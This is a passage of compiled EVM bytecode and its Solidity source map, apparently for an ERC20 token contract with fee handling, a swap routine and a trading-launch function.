0611069565b505f610d178486611310565b5f602080835283518060208501525f5b8181101561109557858101830151858201604001528201611079565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110c9575f80fd5b50565b5f80604083850312156110dd575f80fd5b82356110e8816110b5565b946020939093013593505050565b5f805f60608486031215611108575f80fd5b8335611113816110b5565b92506020840135611123816110b5565b929592945050506040919091013590565b5f60208284031215611144575f80fd5b8135610ce1816110b5565b5f8060408385031215611160575f80fd5b823561116b816110b5565b9150602083013561117b816110b5565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111d457815f19048211156111ba576111ba611186565b808516156111c757918102915b93841c939080029061119f565b509250929050565b5f826111ea575060016102a2565b816111f657505f6102a2565b816001811461120c576002811461121657611232565b60019150506102a2565b60ff84111561122757611227611186565b50506001821b6102a2565b5060208310610133831016604e8410600b8410161715611255575081810a6102a2565b61125f838361119a565b805f190482111561127257611272611186565b029392505050565b5f610ce160ff8416836111dc565b80820281158282048414176102a2576102a2611186565b5f602082840312156112af575f80fd5b8151610ce1816110b5565b5f805f606084860312156112cc575f80fd5b8351925060208401519150604084015190509250925092565b5f600182016112f6576112f6611186565b5060010190565b818103818111156102a2576102a2611186565b5f8261132a57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156113935784516001600160a01b03168352938301939183019160010161136e565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102a2576102a261118656fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a105703cbc680ea49024e8569e47a248551ae593ec15ae33fc11e629cfb6dc3864736f6c63430008170033

3620:6503:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5174:83;;;;;;;;;;-1:-1:-1;5244:5:0;;;;;;;;;;;;-1:-1:-1;;;5244:5:0;;;;5174:83;;;;;;;:::i;:::-;;;;;;;;6007:161;;;;;;;;;;-1:-1:-1;6007:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6007:161:0;1023:187:1;9494:589:0;;;;;;;;;;;;;:::i;:::-;;5451:95;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5451:95:0;1215:177:1;6176:350:0;;;;;;;;;;-1:-1:-1;6176:350:0;;;;;:::i;:::-;;:::i;5360:83::-;;;;;;;;;;-1:-1:-1;5360:83:0;;4363:1;2000:36:1;;1988:2;1973:18;5360:83:0;1858:184:1;5554:119:0;;;;;;;;;;-1:-1:-1;5554:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5647:18:0;5620:7;5647:18;;;:9;:18;;;;;;;5554:119;2701:148;;;;;;;;;;;;;:::i;2487:79::-;;;;;;;;;;-1:-1:-1;2525:7:0;2552:6;2487:79;;-1:-1:-1;;;;;2552:6:0;;;2445:51:1;;2433:2;2418:18;2487:79:0;2299:203:1;5265:87:0;;;;;;;;;;-1:-1:-1;5337:7:0;;;;;;;;;;;;-1:-1:-1;;;5337:7:0;;;;5265:87;;5681:167;;;;;;;;;;-1:-1:-1;5681:167:0;;;;;:::i;:::-;;:::i;5856:143::-;;;;;;;;;;-1:-1:-1;5856:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5964:18:0;;;5937:7;5964:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5856:143;6007:161;6082:4;6099:39;322:10;6122:7;6131:6;6099:8;:39::i;:::-;-1:-1:-1;6156:4:0;6007:161;;;;;:::o;9494:589::-;2614:6;;-1:-1:-1;;;;;2614:6:0;322:10;2614:22;2606:67;;;;-1:-1:-1;;;2606:67:0;;3102:2:1;2606:67:0;;;3084:21:1;;;3121:18;;;3114:30;3180:34;3160:18;;;3153:62;3232:18;;2606:67:0;;;;;;;;;9554:15:::1;::::0;-1:-1:-1;;;9554:15:0;::::1;;;9553:16;9545:51;;;::::0;-1:-1:-1;;;9545:51:0;;3463:2:1;9545:51:0::1;::::0;::::1;3445:21:1::0;3502:2;3482:18;;;3475:30;3541:25;3521:18;;;3514:53;3584:18;;9545:51:0::1;3261:347:1::0;9545:51:0::1;9607:15;:80:::0;;-1:-1:-1;;;;;;9607:80:0::1;9644:42;9607:80:::0;;::::1;::::0;;;9698:58:::1;::::0;9715:4:::1;::::0;4424:13:::1;4363:1;4424:2;:13;:::i;:::-;4406:31;::::0;:15:::1;:31;:::i;:::-;9698:8;:58::i;:::-;9796:15;;;;;;;;;-1:-1:-1::0;;;;;9796:15:0::1;-1:-1:-1::0;;;;;9796:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9778:55:0::1;;9842:4;9849:15;;;;;;;;;-1:-1:-1::0;;;;;9849:15:0::1;-1:-1:-1::0;;;;;9849:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9778:94;::::0;-1:-1:-1;;;;;;9778:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;9778:94:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;9778:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9767:8;:105:::0;;-1:-1:-1;;;;;9767:105:0;;::::1;-1:-1:-1::0;;;;;;9767:105:0;;::::1;;::::0;;9883:15:::1;::::0;::::1;:31;9922:21;9953:4;9959:24;9953:4:::0;-1:-1:-1;;;;;5647:18:0;5620:7;5647:18;;;:9;:18;;;;;;;5554:119;9959:24:::1;9984:1;9986::::0;9988:7:::1;2525::::0;2552:6;-1:-1:-1;;;;;2552:6:0;;2487:79;9988:7:::1;9883:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9883:129:0;;;-1:-1:-1;;;;;6219:15:1;;;9883:129:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;9996:15:0::1;6433:19:1::0;;;6426:35;6135:19;;9883:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10023:12:0::1;:19:::0;;-1:-1:-1;;;;10053:22:0;-1:-1:-1;;;10053:22:0;;;-1:-1:-1;9494:589:0:o;5451:95::-;5504:7;4424:13;4363:1;4424:2;:13;:::i;:::-;4406:31;;:15;:31;:::i;:::-;5524:14;;5451:95;:::o;6176:350::-;6274:4;6291:36;6301:6;6309:9;6320:6;6291:9;:36::i;:::-;6331:33;6346:6;6354:9;6331:14;:33::i;:::-;6328:168;;;6375:121;6384:6;322:10;6406:89;6444:6;6406:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6406:19:0;;;;;;:11;:19;;;;;;;;322:10;6406:33;;;;;;;;;;:37;:89::i;6375:121::-;-1:-1:-1;6514:4:0;6176:350;;;;;:::o;2701:148::-;2614:6;;-1:-1:-1;;;;;2614:6:0;322:10;2614:22;2606:67;;;;-1:-1:-1;;;2606:67:0;;3102:2:1;2606:67:0;;;3084:21:1;;;3121:18;;;3114:30;3180:34;3160:18;;;3153:62;3232:18;;2606:67:0;2900:356:1;2606:67:0;2808:1:::1;2792:6:::0;;2771:40:::1;::::0;-1:-1:-1;;;;;2792:6:0;;::::1;::::0;2771:40:::1;::::0;2808:1;;2771:40:::1;2839:1;2822:19:::0;;-1:-1:-1;;;;;;2822:19:0::1;::::0;;2701:148::o;5681:167::-;5759:4;5776:42;322:10;5800:9;5811:6;5776:9;:42::i;6534:335::-;-1:-1:-1;;;;;6627:19:0;;6619:68;;;;-1:-1:-1;;;6619:68:0;;6985:2:1;6619:68:0;;;6967:21:1;7024:2;7004:18;;;6997:30;7063:34;7043:18;;;7036:62;-1:-1:-1;;;7114:18:1;;;7107:34;7158:19;;6619:68:0;6783:400:1;6619:68:0;-1:-1:-1;;;;;6706:21:0;;6698:68;;;;-1:-1:-1;;;6698:68:0;;7390:2:1;6698:68:0;;;7372:21:1;7429:2;7409:18;;;7402:30;7468:34;7448:18;;;7441:62;-1:-1:-1;;;7519:18:1;;;7512:32;7561:19;;6698:68:0;7188:398:1;6698:68:0;-1:-1:-1;;;;;6777:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6829:32;;1361:25:1;;;6829:32:0;;1334:18:1;6829:32:0;;;;;;;6534:335;;;:::o;7064:1718::-;-1:-1:-1;;;;;7152:18:0;;7144:68;;;;-1:-1:-1;;;7144:68:0;;7793:2:1;7144:68:0;;;7775:21:1;7832:2;7812:18;;;7805:30;7871:34;7851:18;;;7844:62;-1:-1:-1;;;7922:18:1;;;7915:35;7967:19;;7144:68:0;7591:401:1;7144:68:0;-1:-1:-1;;;;;7231:16:0;;7223:64;;;;-1:-1:-1;;;7223:64:0;;8199:2:1;7223:64:0;;;8181:21:1;8238:2;8218:18;;;8211:30;8277:34;8257:18;;;8250:62;-1:-1:-1;;;8328:18:1;;;8321:33;8371:19;;7223:64:0;7997:399:1;7223:64:0;7315:1;7306:6;:10;7298:64;;;;-1:-1:-1;;;7298:64:0;;8603:2:1;7298:64:0;;;8585:21:1;8642:2;8622:18;;;8615:30;8681:34;8661:18;;;8654:62;-1:-1:-1;;;8732:18:1;;;8725:39;8781:19;;7298:64:0;8401:405:1;7298:64:0;7373:17;2552:6;;-1:-1:-1;;;;;7407:15:0;;;2552:6;;7407:15;;;;:32;;-1:-1:-1;2525:7:0;2552:6;-1:-1:-1;;;;;7426:13:0;;;2552:6;;7426:13;;7407:32;7403:1003;;;7468:76;7540:3;7468:67;7490:15;;7480:9;;:25;7479:55;;7520:14;;7479:55;;;7507:12;;7479:55;7468:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7573:8;;7456:88;;-1:-1:-1;;;;;;7565:16:0;;;7573:8;;7565:16;:50;;;;-1:-1:-1;7599:15:0;;-1:-1:-1;;;;;7585:30:0;;;7599:15;;7585:30;;7565:50;:73;;;;-1:-1:-1;;;;;;7621:17:0;;;;;;:13;:17;;;;;;;;7619:19;7565:73;7561:126;;;7660:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7561:126;7712:8;;-1:-1:-1;;;;;7706:14:0;;;7712:8;;7706:14;:38;;;;-1:-1:-1;;;;;;7724:20:0;;7739:4;7724:20;;7706:38;7703:169;;;7777:79;7852:3;7777:70;7799:16;;7789:9;;:26;7788:58;;7831:15;;7788:58;;;7817:13;;7777:6;;:10;:70::i;:79::-;7765:91;;7703:169;7937:4;7888:28;5647:18;;;:9;:18;;;;;;7963:6;;-1:-1:-1;;;7963:6:0;;;;7962:7;:25;;;;-1:-1:-1;7979:8:0;;-1:-1:-1;;;;;7973:14:0;;;7979:8;;7973:14;7962:25;:41;;;;-1:-1:-1;7991:12:0;;-1:-1:-1;;;7991:12:0;;;;7962:41;:75;;;;;8019:18;;8007:9;;:30;7962:75;7958:437;;;8084:12;;8061:20;:35;8058:127;;;8115:70;8132:52;8136:6;8144:39;8148:20;8170:12;;8144:3;:39::i;:::-;8132:3;:52::i;:::-;8115:16;:70::i;:::-;8233:21;8325:35;8338:21;8325:12;:35::i;:::-;8039:356;7958:437;7441:965;7403:1003;8421:11;;8418:161;;8489:4;8471:24;;;;:9;:24;;;;;;:39;;8500:9;8471:28;:39::i;:::-;8464:4;8446:24;;;;:9;:24;;;;;;;:64;;;;8528:39;;-1:-1:-1;;;;;8528:39:0;;;;;;;8557:9;1361:25:1;;1349:2;1334:18;;1215:177;8528:39:0;;;;;;;;8418:161;-1:-1:-1;;;;;8605:15:0;;;;;;:9;:15;;;;;;:27;;8625:6;8605:19;:27::i;:::-;-1:-1:-1;;;;;8589:15:0;;;;;;:9;:15;;;;;:43;8657:40;8675:21;:6;8686:9;8675:10;:21::i;:::-;-1:-1:-1;;;;;8657:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8643:13:0;;;;;;;:9;:13;;;;;:54;;;;8718:9;;;8712:15;8708:66;;-1:-1:-1;;;;;8733:41:0;;;;;;;8752:21;:6;8763:9;8752:10;:21::i;:::-;8733:41;;1361:25:1;;;1349:2;1334:18;8733:41:0;;;;;;;8708:66;7133:1649;7064:1718;;;:::o;6877:179::-;6990:8;;6955:4;;-1:-1:-1;;;;;6980:18:0;;;6990:8;;6980:18;;:41;;-1:-1:-1;7012:9:0;;-1:-1:-1;;;;;7002:19:0;;;7012:9;;7002:19;;6980:41;6979:69;;;;-1:-1:-1;7040:8:0;;-1:-1:-1;;;;;7040:8:0;7026:10;:22;;6979:69;6972:76;6877:179;-1:-1:-1;;;6877:179:0:o;1379:190::-;1465:7;1501:12;1493:6;;;;1485:29;;;;-1:-1:-1;;;1485:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1525:9:0;1537:5;1541:1;1537;:5;:::i;:::-;1525:17;1379:190;-1:-1:-1;;;;;1379:190:0:o;1577:246::-;1635:7;1659:1;1664;1659:6;1655:47;;-1:-1:-1;1689:1:0;1682:8;;1655:47;1712:9;1724:5;1728:1;1724;:5;:::i;:::-;1712:17;-1:-1:-1;1757:1:0;1748:5;1752:1;1712:17;1748:5;:::i;:::-;:10;1740:56;;;;-1:-1:-1;;;1740:56:0;;9508:2:1;1740:56:0;;;9490:21:1;9547:2;9527:18;;;9520:30;9586:34;9566:18;;;9559:62;-1:-1:-1;;;9637:18:1;;;9630:31;9678:19;;1740:56:0;9306:397:1;1831:132:0;1889:7;1916:39;1920:1;1923;1916:39;;;;;;;;;;;;;;;;;:3;:39::i;8790:98::-;8847:7;8874:1;8872;:3;8871:9;;8879:1;8871:9;;;-1:-1:-1;8877:1:0;8790:98;-1:-1:-1;8790:98:0:o;8896:483::-;4845:6;:13;;-1:-1:-1;;;;4845:13:0;-1:-1:-1;;;4845:13:0;;;8998:16:::1;::::0;;9012:1:::1;8998:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8998:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8998:16:0::1;8974:40;;9043:4;9025;9030:1;9025:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9025:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9069:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9069:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9025:7;;9069:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9059:4;9064:1;9059:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9059:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9134:15:::1;::::0;9102:62:::1;::::0;9119:4:::1;::::0;9134:15:::1;9152:11:::0;9102:8:::1;:62::i;:::-;9175:15;::::0;:196:::1;::::0;-1:-1:-1;;;9175:196:0;;-1:-1:-1;;;;;9175:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9256:11;;9175:15:::1;::::0;9298:4;;9325::::1;::::0;9345:15:::1;::::0;9175:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4881:6:0;:14;;-1:-1:-1;;;;4881:14:0;;;-1:-1:-1;;;;8896:483:0:o;9387:99::-;9452:8;;9444:34;;-1:-1:-1;;;;;9452:8:0;;;;9444:34;;;;;9471:6;;9452:8;9444:34;9452:8;9444:34;9471:6;9452:8;9444:34;;;;;;;;;;;;;;;;;;;;;9387:99;:::o;1048:179::-;1106:7;;1138:5;1142:1;1138;:5;:::i;:::-;1126:17;;1167:1;1162;:6;;1154:46;;;;-1:-1:-1;;;1154:46:0;;11289:2:1;1154:46:0;;;11271:21:1;11328:2;11308:18;;;11301:30;11367:29;11347:18;;;11340:57;11414:18;;1154:46:0;11087:351:1;1235:136:0;1293:7;1320:43;1324:1;1327;1320:43;;;;;;;;;;;;;;;;;:3;:43::i;1971:189::-;2057:7;2092:12;2085:5;2077:28;;;;-1:-1:-1;;;2077:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2116:9:0;2128:5;2132:1;2128;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;3613:127::-;3674:10;3669:3;3665:20;3662:1;3655:31;3705:4;3702:1;3695:15;3729:4;3726:1;3719:15;3745:416;3834:1;3871:5;3834:1;3885:270;3906:7;3896:8;3893:21;3885:270;;;3965:4;3961:1;3957:6;3953:17;3947:4;3944:27;3941:53;;;3974:18;;:::i;:::-;4024:7;4014:8;4010:22;4007:55;;;4044:16;;;;4007:55;4123:22;;;;4083:15;;;;3885:270;;;3889:3;3745:416;;;;;:::o;4166:806::-;4215:5;4245:8;4235:80;;-1:-1:-1;4286:1:1;4300:5;;4235:80;4334:4;4324:76;;-1:-1:-1;4371:1:1;4385:5;;4324:76;4416:4;4434:1;4429:59;;;;4502:1;4497:130;;;;4409:218;;4429:59;4459:1;4450:10;;4473:5;;;4497:130;4534:3;4524:8;4521:17;4518:43;;;4541:18;;:::i;:::-;-1:-1:-1;;4597:1:1;4583:16;;4612:5;;4409:218;;4711:2;4701:8;4698:16;4692:3;4686:4;4683:13;4679:36;4673:2;4663:8;4660:16;4655:2;4649:4;4646:12;4642:35;4639:77;4636:159;;;-1:-1:-1;4748:19:1;;;4780:5;;4636:159;4827:34;4852:8;4846:4;4827:34;:::i;:::-;4897:6;4893:1;4889:6;4885:19;4876:7;4873:32;4870:58;;;4908:18;;:::i;:::-;4946:20;;4166:806;-1:-1:-1;;;4166:806:1:o;4977:140::-;5035:5;5064:47;5105:4;5095:8;5091:19;5085:4;5064:47;:::i;5122:168::-;5195:9;;;5226;;5243:15;;;5237:22;;5223:37;5213:71;;5264:18;;:::i;5295:251::-;5365:6;5418:2;5406:9;5397:7;5393:23;5389:32;5386:52;;;5434:1;5431;5424:12;5386:52;5466:9;5460:16;5485:31;5510:5;5485:31;:::i;6472:306::-;6560:6;6568;6576;6629:2;6617:9;6608:7;6604:23;6600:32;6597:52;;;6645:1;6642;6635:12;6597:52;6674:9;6668:16;6658:26;;6724:2;6713:9;6709:18;6703:25;6693:35;;6768:2;6757:9;6753:18;6747:25;6737:35;;6472:306;;;;;:::o;8811:135::-;8850:3;8871:17;;;8868:43;;8891:18;;:::i;:::-;-1:-1:-1;8938:1:1;8927:13;;8811:135::o;8951:128::-;9018:9;;;9039:11;;;9036:37;;;9053:18;;:::i;9084:217::-;9124:1;9150;9140:132;;9194:10;9189:3;9185:20;9182:1;9175:31;9229:4;9226:1;9219:15;9257:4;9254:1;9247:15;9140:132;-1:-1:-1;9286:9:1;;9084:217::o;9840:127::-;9901:10;9896:3;9892:20;9889:1;9882:31;9932:4;9929:1;9922:15;9956:4;9953:1;9946:15;9972:980;10234:4;10282:3;10271:9;10267:19;10313:6;10302:9;10295:25;10339:2;10377:6;10372:2;10361:9;10357:18;10350:34;10420:3;10415:2;10404:9;10400:18;10393:31;10444:6;10479;10473:13;10510:6;10502;10495:22;10548:3;10537:9;10533:19;10526:26;;10587:2;10579:6;10575:15;10561:29;;10608:1;10618:195;10632:6;10629:1;10626:13;10618:195;;;10697:13;;-1:-1:-1;;;;;10693:39:1;10681:52;;10788:15;;;;10753:12;;;;10729:1;10647:9;10618:195;;;-1:-1:-1;;;;;;;10869:32:1;;;;10864:2;10849:18;;10842:60;-1:-1:-1;;;10933:3:1;10918:19;10911:35;10830:3;9972:980;-1:-1:-1;;;9972:980:1:o;10957:125::-;11022:9;;;11043:10;;;11040:36;;;11056:18;;:::i

ipfs://a105703cbc680ea49024e8569e47a248551ae593ec15ae33fc11e629cfb6dc38